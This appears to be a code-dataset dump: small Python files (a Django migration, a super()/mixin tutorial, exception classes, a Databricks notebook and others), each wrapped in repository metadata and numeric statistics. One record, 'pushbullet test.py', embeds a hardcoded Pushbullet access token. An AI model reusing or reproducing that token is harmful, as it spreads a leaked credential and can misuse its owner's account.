return str(self.title) | 48.037037 | 91 | 0.742483 | 175 | 1,297 | 5.257143 | 0.422857 | 0.203261 | 0.263043 | 0.31087 | 0.067391 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025986 | 0.139553 | 1,297 | 27 | 92 | 48.037037 | 0.798387 | 0.018504 | 0 | 0 | 0 | 0 | 0.047956 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0.086957 | 0.043478 | 0.913043 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
75a1bc4c738c632dc0c5897e9809e0b8acdd2c20 | 331 | py | Python | audiotools/__init__.py | fakufaku/AudioTools | 78292e8898b39b75be98dbab515699f97834ed39 | [
"Unlicense"
] | 3 | 2015-05-01T08:20:53.000Z | 2021-04-08T03:38:56.000Z | audiotools/__init__.py | fakufaku/AudioTools | 78292e8898b39b75be98dbab515699f97834ed39 | [
"Unlicense"
] | null | null | null | audiotools/__init__.py | fakufaku/AudioTools | 78292e8898b39b75be98dbab515699f97834ed39 | [
"Unlicense"
] | 1 | 2017-09-21T07:19:44.000Z | 2017-09-21T07:19:44.000Z | __version__ = '0.3.0'
import dB
import error
import io
import linalg
import perceptual
import spectral
import windows
import transforms
from dB import *
from error import *
from io import *
from linalg import *
from perceptual import *
from spectral import *
from windows import *
from transforms import *
from learning import *
| 15.761905 | 24 | 0.785498 | 47 | 331 | 5.446809 | 0.297872 | 0.3125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010949 | 0.172205 | 331 | 20 | 25 | 16.55 | 0.923358 | 0 | 0 | 0 | 0 | 0 | 0.015106 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.944444 | 0 | 0.944444 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
75a46ad70ffe970750271365cba9eaf0bddbc884 | 21 | py | Python | test/test_site/test_app/__init__.py | NewVadim/django-bulk-update | 5355a0bdeebeaafe88f425ddf013e59f39fa05fe | [
"BSD-3-Clause"
] | null | null | null | test/test_site/test_app/__init__.py | NewVadim/django-bulk-update | 5355a0bdeebeaafe88f425ddf013e59f39fa05fe | [
"BSD-3-Clause"
] | null | null | null | test/test_site/test_app/__init__.py | NewVadim/django-bulk-update | 5355a0bdeebeaafe88f425ddf013e59f39fa05fe | [
"BSD-3-Clause"
] | null | null | null | __author__ = 'vadim'
| 10.5 | 20 | 0.714286 | 2 | 21 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 21 | 1 | 21 | 21 | 0.611111 | 0 | 0 | 0 | 0 | 0 | 0.238095 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
75a99bdec4667558e668e4b51adb133f2998e095 | 2,208 | py | Python | imagersite/imager_images/migrations/0002_auto_20171203_0240.py | Loaye/django-imager-group | a4bdd285b8063d2553f59f2a78aaef0fcfd0c95d | [
"MIT"
] | null | null | null | imagersite/imager_images/migrations/0002_auto_20171203_0240.py | Loaye/django-imager-group | a4bdd285b8063d2553f59f2a78aaef0fcfd0c95d | [
"MIT"
] | null | null | null | imagersite/imager_images/migrations/0002_auto_20171203_0240.py | Loaye/django-imager-group | a4bdd285b8063d2553f59f2a78aaef0fcfd0c95d | [
"MIT"
] | 2 | 2017-11-29T23:33:53.000Z | 2017-12-05T22:36:09.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2017-12-03 02:40
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('imager_images', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='album',
name='photos',
),
migrations.AddField(
model_name='album',
name='photo',
field=models.ManyToManyField(related_name='album', to='imager_images.Photo'),
),
migrations.AlterField(
model_name='album',
name='description',
field=models.CharField(blank=True, max_length=500, null=True),
),
migrations.AlterField(
model_name='album',
name='published',
field=models.CharField(choices=[('PRVT', 'private'), ('SHRD', 'shared'), ('PBLC', 'public')], max_length=8),
),
migrations.AlterField(
model_name='album',
name='title',
field=models.CharField(max_length=180),
),
migrations.AlterField(
model_name='album',
name='user',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='album', to='imager_profile.ImagerProfile'),
),
migrations.AlterField(
model_name='photo',
name='description',
field=models.CharField(blank=True, max_length=500, null=True),
),
migrations.AlterField(
model_name='photo',
name='published',
field=models.CharField(choices=[('PRVT', 'private'), ('SHRD', 'shared'), ('PBLC', 'public')], max_length=8),
),
migrations.AlterField(
model_name='photo',
name='title',
field=models.CharField(max_length=180),
),
migrations.AlterField(
model_name='photo',
name='user',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='photo', to='imager_profile.ImagerProfile'),
),
]
| 33.454545 | 138 | 0.569746 | 213 | 2,208 | 5.760563 | 0.319249 | 0.07335 | 0.162999 | 0.189079 | 0.680522 | 0.650367 | 0.570497 | 0.570497 | 0.570497 | 0.570497 | 0 | 0.022364 | 0.291214 | 2,208 | 65 | 139 | 33.969231 | 0.761661 | 0.030797 | 0 | 0.724138 | 1 | 0 | 0.138512 | 0.026205 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.051724 | 0 | 0.103448 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
75d4c81c9ffb24f15728dd5c8c0ac40e81cd799b | 2,676 | py | Python | learn/mixin/main.py | tranvietphuoc/python | fe5edfeea6483c63c2ab5cf6937f5351fc963258 | [
"MIT"
] | null | null | null | learn/mixin/main.py | tranvietphuoc/python | fe5edfeea6483c63c2ab5cf6937f5351fc963258 | [
"MIT"
] | 1 | 2020-06-04T11:37:57.000Z | 2021-04-20T21:50:12.000Z | learn/mixin/main.py | tranvietphuoc/python | fe5edfeea6483c63c2ab5cf6937f5351fc963258 | [
"MIT"
] | null | null | null | # super() deep dive
# mechanism of super()
# super() can also take two parameter:
# the first is the subclass, the second is an object that is an instance of
# that subclass
class Rectangle:
def __init__(self, length, width):
self.length = length
self.width = width
def area(self):
return self.length * self.width
def perimeter(self):
return 2 * self.length * self.width
class Square(Rectangle):
def __init__(self, length):
super(Square, self).__init__(length, length)
# class Cube(Square):
# def surface_area(self):
# face_area = super(Square, self).area()
# return face_area * 6
# def volume(self):
# face_area = super(Square, self).area()
# return face_area * self.length
sq = Square(10)
print(sq.area(), sq.perimeter(), sep="\n")
# cu = Cube(20)
# print(cu.volume(), cu.surface_area(), sep="\n")
# the above example setting Square as the subclass argument to super(), instead
# of Cube. This causes super() to start searching for a matching method.
# super() in multiple inheritance
class Triangle:
def __init__(self, base, height):
self.base = base
self.height = height
def area(self):
return 0.5 * self.base * self.height
class RightPyramid(Triangle, Square):
def __init__(self, base, slant_height):
self.base = base
self.slant_height = slant_height
super().__init__(self.base) # the right way to calculate area()
def area(self):
base_area = super().area()
perimeter = super().perimeter()
return 0.5 * perimeter * self.slant_height + base_area
# pyramid = RightPyramid(2, 4)
# print(pyramid.area()) # AttributeError here. because the method resolution order
# MRO
# MRO tells Python how to search for inherited methods.
# this comes in handy when you're using super() because the MRO tells you
# exactly wher Python will look for a method you're calling with super() and in
# what order
print(RightPyramid.__mro__)
# super() will be searched first in RightPyramid, then in Triangle, then in
# Square, then in Rectangle. if nothing is found, in object from which all
# classes originate
# Multiple inheritance alternative - mixin
class VolumeMixin:
def volume(self):
return self.area() * self.height
class Cube(VolumeMixin, Square):
def __init__(self, length):
super().__init__(length)
self.height = length
def face_area(self):
return super().area()
def surface_area(self):
return super().area() * 6
test = Cube(10)
print(test.area(), test.face_area(), test.surface_area(), test.volume(), sep="\n")
| 26.49505 | 83 | 0.663677 | 366 | 2,676 | 4.710383 | 0.311475 | 0.037123 | 0.031903 | 0.029582 | 0.150232 | 0.052204 | 0.052204 | 0.052204 | 0.052204 | 0.052204 | 0 | 0.007236 | 0.225336 | 2,676 | 100 | 84 | 26.76 | 0.824409 | 0.451046 | 0 | 0.166667 | 0 | 0 | 0.002782 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.142857 | 0.595238 | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
75db3500d9acf04e938137125f6bf562f6d10202 | 128 | py | Python | pushbullet test.py | DoctorDib/HAS | 765b54996bd392da4f83f995d34f3ab300838bce | [
"Apache-2.0"
] | null | null | null | pushbullet test.py | DoctorDib/HAS | 765b54996bd392da4f83f995d34f3ab300838bce | [
"Apache-2.0"
] | null | null | null | pushbullet test.py | DoctorDib/HAS | 765b54996bd392da4f83f995d34f3ab300838bce | [
"Apache-2.0"
] | null | null | null |
from pushbullet import Pushbullet
pb = Pushbullet("o.F6B2oUgRvVimbBBK02zywe0siPlbNqCl")
push = pb.push_note("TITLE", "BODY")
| 18.285714 | 53 | 0.773438 | 14 | 128 | 7 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04386 | 0.109375 | 128 | 6 | 54 | 21.333333 | 0.815789 | 0 | 0 | 0 | 0 | 0 | 0.338583 | 0.267717 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
75dde6dd09ff43ca50b70a418019809d20174e63 | 483 | py | Python | dqi/lib/dqi/__init__.py | MetOffice/cmip6-dreq-interface | 4947b665b78173ed25602c281aeaf62ebdeeb55d | [
"BSD-3-Clause"
] | 1 | 2016-11-17T14:21:46.000Z | 2016-11-17T14:21:46.000Z | dqi/lib/dqi/__init__.py | tfeb/cmip6-dreq-interface | 4947b665b78173ed25602c281aeaf62ebdeeb55d | [
"BSD-3-Clause"
] | 8 | 2016-09-27T19:20:24.000Z | 2018-04-05T13:49:32.000Z | dqi/lib/dqi/__init__.py | tfeb/cmip6-dreq-interface | 4947b665b78173ed25602c281aeaf62ebdeeb55d | [
"BSD-3-Clause"
] | 2 | 2016-09-30T08:43:07.000Z | 2021-04-11T06:11:37.000Z | # (C) British Crown Copyright 2016, Met Office.
# See LICENSE.md in the top directory for license details.
#
# dqi: an interface to the CMIP6 data request
#
# This package is essentially a conduit for the external interfaces of
# its modules: I stole this style of importing everything from a bunch
# of modules from numpy. Not all modules get reexported however.
#
# Low level
from . import low
from .low import *
# The walker itself
from . import walker
from .walker import *
| 24.15 | 70 | 0.749482 | 75 | 483 | 4.826667 | 0.693333 | 0.055249 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012853 | 0.194617 | 483 | 19 | 71 | 25.421053 | 0.917738 | 0.778468 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
75e4568f10014f7733d866ce1498d06398cde6ce | 1,904 | py | Python | src/sqlIntuitive/exceptions/parameterExceptions/subexceptions/other.py | einfachIrgendwer0815/SqlIntuitive | 11a0548ac2d6cfce295952bbf0f09a4faa4c42af | [
"MIT"
] | 6 | 2021-09-10T10:34:47.000Z | 2022-03-09T13:50:39.000Z | src/sqlIntuitive/exceptions/parameterExceptions/subexceptions/other.py | einfachIrgendwer0815/SqlIntuitive | 11a0548ac2d6cfce295952bbf0f09a4faa4c42af | [
"MIT"
] | 1 | 2021-11-25T07:10:16.000Z | 2021-11-26T12:18:14.000Z | src/sqlIntuitive/exceptions/parameterExceptions/subexceptions/other.py | einfachIrgendwer0815/SqlIntuitive | 11a0548ac2d6cfce295952bbf0f09a4faa4c42af | [
"MIT"
] | null | null | null | from sqlIntuitive.exceptions.parameterExceptions.baseException import ParameterException
class InvalidType(ParameterException):
def __init__(self, value, expectedType):
super().__init__()
self.value = value
self.expectedType = expectedType
def __str__(self):
return f"'{self.value}' is not an instance of {self.expectedType}."
class DictionaryEmptyException(ParameterException):
def __init__(self, text):
super().__init__()
self.text = text
def __str__(self):
return self.text
class InvalidTableNameException(ParameterException):
def __init__(self):
super().__init__()
def __str__(self):
return "Name for table contains invalid characters or is empty."
class InvalidDatabaseNameException(ParameterException):
def __init__(self):
super().__init__()
def __str__(self):
return "Name for database contains invalid characters or is empty."
class NotAClass(ParameterException):
def __init__(self, expectedAsCls):
super().__init__()
self.cls = expectedAsCls
def __str__(self):
return f"{self.cls} is not a class."
class NotAFunction(ParameterException):
def __init__(self, expectedAsFunc):
super().__init__()
self.func = expectedAsFunc
def __str__(self):
return f"{self.func} is not a function."
class NotAString(ParameterException):
def __init__(self, expectedAsString):
super().__init__()
self.string = expectedAsString
def __str__(self):
return f"{self.string} is not a string."
class NotAMatchingClass(ParameterException):
def __init__(self, givenType, expectedType):
super().__init__()
self.givenType = givenType
self.expectedType = expectedType
def __str__(self):
return f"{self.givenType} does not match {self.expectedType}."
| 26.444444 | 88 | 0.680672 | 194 | 1,904 | 6.185567 | 0.262887 | 0.093333 | 0.166667 | 0.193333 | 0.300833 | 0.300833 | 0.248333 | 0.183333 | 0.183333 | 0.101667 | 0 | 0 | 0.222689 | 1,904 | 71 | 89 | 26.816901 | 0.810811 | 0 | 0 | 0.408163 | 0 | 0 | 0.161765 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.326531 | false | 0 | 0.020408 | 0.163265 | 0.673469 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
2f015c95e5ffadb889d0b1cf3fb976fac593eb06 | 142 | py | Python | 3.Python/hari94codes.py | tony21122000/Learn-Coding | 11862f3a372069693bd381b1f99063d95d3b2b65 | [
"MIT"
] | 54 | 2020-10-01T07:06:36.000Z | 2021-10-21T03:24:30.000Z | 3.Python/hari94codes.py | tony21122000/Learn-Coding | 11862f3a372069693bd381b1f99063d95d3b2b65 | [
"MIT"
] | 19 | 2020-10-01T13:04:55.000Z | 2020-10-27T06:10:52.000Z | 3.Python/hari94codes.py | tony21122000/Learn-Coding | 11862f3a372069693bd381b1f99063d95d3b2b65 | [
"MIT"
] | 97 | 2020-10-01T07:07:17.000Z | 2021-10-21T03:25:20.000Z | name, age = "Harikrishnan", 25
username = "hari94codes"
print ('Hello!')
print("Name: {}\nAge: {}\nUsername: {}".format(name, age, username))
| 28.4 | 68 | 0.65493 | 16 | 142 | 5.8125 | 0.6875 | 0.150538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031746 | 0.112676 | 142 | 4 | 69 | 35.5 | 0.706349 | 0 | 0 | 0 | 0 | 0 | 0.422535 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
2f045485e6798504e36d922e692465e524be3d31 | 27 | py | Python | portfolio/Python/scrapy/inkshop/__init__.py | 0--key/lib | ba7a85dda2b208adc290508ca617bdc55a5ded22 | [
"Apache-2.0"
] | null | null | null | portfolio/Python/scrapy/inkshop/__init__.py | 0--key/lib | ba7a85dda2b208adc290508ca617bdc55a5ded22 | [
"Apache-2.0"
] | null | null | null | portfolio/Python/scrapy/inkshop/__init__.py | 0--key/lib | ba7a85dda2b208adc290508ca617bdc55a5ded22 | [
"Apache-2.0"
] | 5 | 2016-03-22T07:40:46.000Z | 2021-05-30T16:12:21.000Z | ACCOUNT_NAME = 'IClickInk'
| 13.5 | 26 | 0.777778 | 3 | 27 | 6.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 27 | 1 | 27 | 27 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f95e70fd926179122ac11384c91f94c22b97db80 | 381 | py | Python | lang/py/rfc/12345/stack.py | ch1huizong/learning | 632267634a9fd84a5f5116de09ff1e2681a6cc85 | [
"MIT"
] | null | null | null | lang/py/rfc/12345/stack.py | ch1huizong/learning | 632267634a9fd84a5f5116de09ff1e2681a6cc85 | [
"MIT"
] | null | null | null | lang/py/rfc/12345/stack.py | ch1huizong/learning | 632267634a9fd84a5f5116de09ff1e2681a6cc85 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*-coding:UTF-8 -*-
class Stack(object):
def __init__(self):
self.stack = []
def push(self,object):
self.stack.append(object)
def pop(self):
return self.stack.pop()
def length(self):
return len(self.stack)
class Stack1(list):
#为栈接口提供push方法
def push(self,object):
self.append(object)
| 15.24 | 33 | 0.582677 | 48 | 381 | 4.541667 | 0.458333 | 0.165138 | 0.100917 | 0.155963 | 0.192661 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007194 | 0.270341 | 381 | 24 | 34 | 15.875 | 0.776978 | 0.136483 | 0 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.416667 | false | 0 | 0 | 0.166667 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
f97918fd7d3aff95bb318d514242dea35bb908a4 | 2,265 | py | Python | DE/Solutions/04 - Managing Data Access and Production Pipelines/DE 4.1.1 - Jobs/1 - Reset.py | mark-ott/DE | 259bff7ec8832848f1c0f3909c3dfa31289f0f2d | [
"CC0-1.0"
] | null | null | null | DE/Solutions/04 - Managing Data Access and Production Pipelines/DE 4.1.1 - Jobs/1 - Reset.py | mark-ott/DE | 259bff7ec8832848f1c0f3909c3dfa31289f0f2d | [
"CC0-1.0"
] | null | null | null | DE/Solutions/04 - Managing Data Access and Production Pipelines/DE 4.1.1 - Jobs/1 - Reset.py | mark-ott/DE | 259bff7ec8832848f1c0f3909c3dfa31289f0f2d | [
"CC0-1.0"
] | null | null | null | # Databricks notebook source
# MAGIC %md-sandbox
# MAGIC
# MAGIC <div style="text-align: center; line-height: 0; padding-top: 9px;">
# MAGIC <img src="https://databricks.com/wp-content/uploads/2018/03/db-academy-rgb-1200px.png" alt="Databricks Learning" style="width: 600px">
# MAGIC </div>
# COMMAND ----------
# MAGIC %run ../../Includes/classroom-setup-dlt-demo
# COMMAND ----------
# MAGIC %md
# MAGIC If you have not previously configured this DLT pipeline successfully, the following cell prints out two values that will be used during the configuration steps that follow.
# COMMAND ----------
print(f"Target: {DA.db_name}")
print(f"Storage location: {DA.paths.storage_location}")
# COMMAND ----------
# MAGIC %md
# MAGIC ## Create and configure a pipeline
# MAGIC
# MAGIC The instructions below refer to the same pipeline created during the previous code along for DLT; if you successfully configured this notebook previously, you should not need to reconfigure this pipeline now.
# MAGIC
# MAGIC
# MAGIC Steps:
# MAGIC 1. Click the **Jobs** button on the sidebar,
# MAGIC 1. Select the **Delta Live Tables** tab.
# MAGIC 1. Click **Create Pipeline**.
# MAGIC 1. Fill in a **Pipeline Name** of your choosing.
# MAGIC 1. For **Notebook Libraries**, use the navigator to locate and select the companion notebook called **2 - DLT Job**.
# MAGIC 1. In the **Target** field, specify the database name printed out next to **Target** in the cell above. (This should follow the pattern **`dbacademy_<username>_dlt_demo`**)
# MAGIC 1. In the **Storage location** field, copy the directory as printed above.
# MAGIC 1. For **Pipeline Mode**, select **Triggered**
# MAGIC 1. Uncheck the **Enable autoscaling** box, and set the number of workers to 1.,
# MAGIC 1. Click **Create**.
# COMMAND ----------
# MAGIC %md-sandbox
# MAGIC © 2022 Databricks, Inc. All rights reserved.<br/>
# MAGIC Apache, Apache Spark, Spark and the Spark logo are trademarks of the <a href="https://www.apache.org/">Apache Software Foundation</a>.<br/>
# MAGIC <br/>
# MAGIC <a href="https://databricks.com/privacy-policy">Privacy Policy</a> | <a href="https://databricks.com/terms-of-use">Terms of Use</a> | <a href="https://help.databricks.com/">Support</a>
| 46.22449 | 216 | 0.701987 | 332 | 2,265 | 4.774096 | 0.475904 | 0.037855 | 0.025237 | 0.023975 | 0.029022 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016104 | 0.15011 | 2,265 | 48 | 217 | 47.1875 | 0.807273 | 0.919647 | 0 | 0 | 0 | 0 | 0.524476 | 0.188811 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
f98148658d7f5fd2d879e86c4475a13e6df233bc | 226 | py | Python | HackerRank/Python/DateandTime/TimeDelta.py | AdityaChirravuri/CompetitiveProgramming | 642550e8916b3f7939a1fdd52d10f5f8ae43f161 | [
"MIT"
] | 1 | 2021-07-13T01:49:25.000Z | 2021-07-13T01:49:25.000Z | HackerRank/Python/DateandTime/TimeDelta.py | AdityaChirravuri/CompetitiveProgramming | 642550e8916b3f7939a1fdd52d10f5f8ae43f161 | [
"MIT"
] | null | null | null | HackerRank/Python/DateandTime/TimeDelta.py | AdityaChirravuri/CompetitiveProgramming | 642550e8916b3f7939a1fdd52d10f5f8ae43f161 | [
"MIT"
] | null | null | null | import datetime
n = int(input())
fmt = '%a %d %b %Y %H:%M:%S %z'
for i in range(n):
l = input()
m = input()
print(int(abs((datetime.datetime.strptime(l, fmt)-datetime.datetime.strptime(m, fmt)).total_seconds())))
| 25.111111 | 108 | 0.610619 | 38 | 226 | 3.605263 | 0.631579 | 0.233577 | 0.350365 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172566 | 226 | 8 | 109 | 28.25 | 0.73262 | 0 | 0 | 0 | 0 | 0 | 0.10177 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0.142857 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f98ba158f605cc04fd872457770bdafde36dcf48 | 52 | py | Python | cirada_senpy/core/__init__.py | JavierArredondo/CIRADA_SENPY | 0b5d160c97e3b42a63adc2d817c9acb9d3e1a991 | [
"MIT"
] | null | null | null | cirada_senpy/core/__init__.py | JavierArredondo/CIRADA_SENPY | 0b5d160c97e3b42a63adc2d817c9acb9d3e1a991 | [
"MIT"
] | null | null | null | cirada_senpy/core/__init__.py | JavierArredondo/CIRADA_SENPY | 0b5d160c97e3b42a63adc2d817c9acb9d3e1a991 | [
"MIT"
] | null | null | null | from .handler import Handler
__all__ = ["Handler"]
| 13 | 28 | 0.730769 | 6 | 52 | 5.666667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 52 | 3 | 29 | 17.333333 | 0.772727 | 0 | 0 | 0 | 0 | 0 | 0.134615 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f9a6c446a47592fd70e356f8cba6aeb1582ec0d7 | 85,960 | py | Python | mrcnn/visualize_2.py | kbardool/mrcnn3 | f4cbb1e34de97ab08558b56fb7362647436edbd7 | [
"MIT"
] | 2 | 2019-07-22T11:23:09.000Z | 2019-07-22T11:23:10.000Z | mrcnn/visualize_2.py | kbardool/Contextual-Inference-V2 | f4cbb1e34de97ab08558b56fb7362647436edbd7 | [
"MIT"
] | null | null | null | mrcnn/visualize_2.py | kbardool/Contextual-Inference-V2 | f4cbb1e34de97ab08558b56fb7362647436edbd7 | [
"MIT"
] | 1 | 2019-02-01T06:52:18.000Z | 2019-02-01T06:52:18.000Z | """
Mask R-CNN
Display and Visualization Functions.
Copyright (c) 2017 Matterport, Inc.
Licensed under the MIT License (see LICENSE for details)
Written by Waleed Abdulla
"""
import math
import pickle
import random
import itertools
import colorsys
import numpy as np
import IPython.display
from scipy import interpolate
import tensorflow as tf
import keras.backend as KB
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.patches as patches
import matplotlib.lines as lines
import skimage.util
from skimage.measure import find_contours
from PIL import Image
from matplotlib.patches import Polygon
from matplotlib import cm
from matplotlib.ticker import LinearLocator, FormatStrFormatter
import mrcnn.utils as utils
import mrcnn.visualize as visualize
BLUE = '#1f77b4'
LBLUE = '#aec7e8'
ORANGE = '#ff7f0e'
LORANGE = '#ffbb78'
GREEN = '#2ca02c'
LGREEN = '#98df8a'
RED = '#d62728'
LRED = '#ff9896'
PURPLE = '#9467bd'
LPURPLE = '#c5b0d5'
BROWN = '#8c564b'
LBROWN = '#c49c94'
PINK = '#e377c2'
LPINK = '#f7b6d2'
GRAY = '#7f7f7f'
LGRAY = '#c7c7c7'
GOLD = '#bcbd22'
LGOLD = '#dbdb8d'
AQUA = '#17becf'
LAQUA = '#9edae5'
SCORE_COLORS = { 'mrcnn_score_orig': BLUE
, 'mrcnn_score_0' : LORANGE
, 'mrcnn_score_1' : LRED
, 'mrcnn_score_2' : LGREEN
, 'fcn_score_0' : ORANGE
, 'fcn_score_1' : RED
, 'fcn_score_2' : GREEN
, 'fcn_score_1_norm': BROWN
, 'fcn_score_2_norm': PINK
}
COLORS = [ AQUA , RED, GREEN , PURPLE , BLUE , ORANGE , GOLD , PINK, BROWN ]
LT_COLORS = [ LAQUA, LRED, LGREEN , LPURPLE, LBLUE, LORANGE, LGOLD , LPINK, LBROWN ]
CLASS_COLUMN = 4
ORIG_SCORE_COLUMN = 5
DT_TYPE_COLUMN = 6
SEQUENCE_COLUMN = 7
NORM_SCORE_COLUMN = 8
SCORE_0_SUM_COLUMN = 9
SCORE_0_AREA_COLUMN = 10
SCORE_0_COLUMN = 11
SCORE_1_SUM_COLUMN = 12
SCORE_1_AREA_COLUMN = 13
SCORE_1_COLUMN = 14
SCORE_1_NORM_COLUMN = 17
SCORE_2_SUM_COLUMN = 18
SCORE_2_AREA_COLUMN = 19
SCORE_2_COLUMN = 20
SCORE_2_NORM_COLUMN = 23
##-----------------------------------------------------------------------------------------------------------
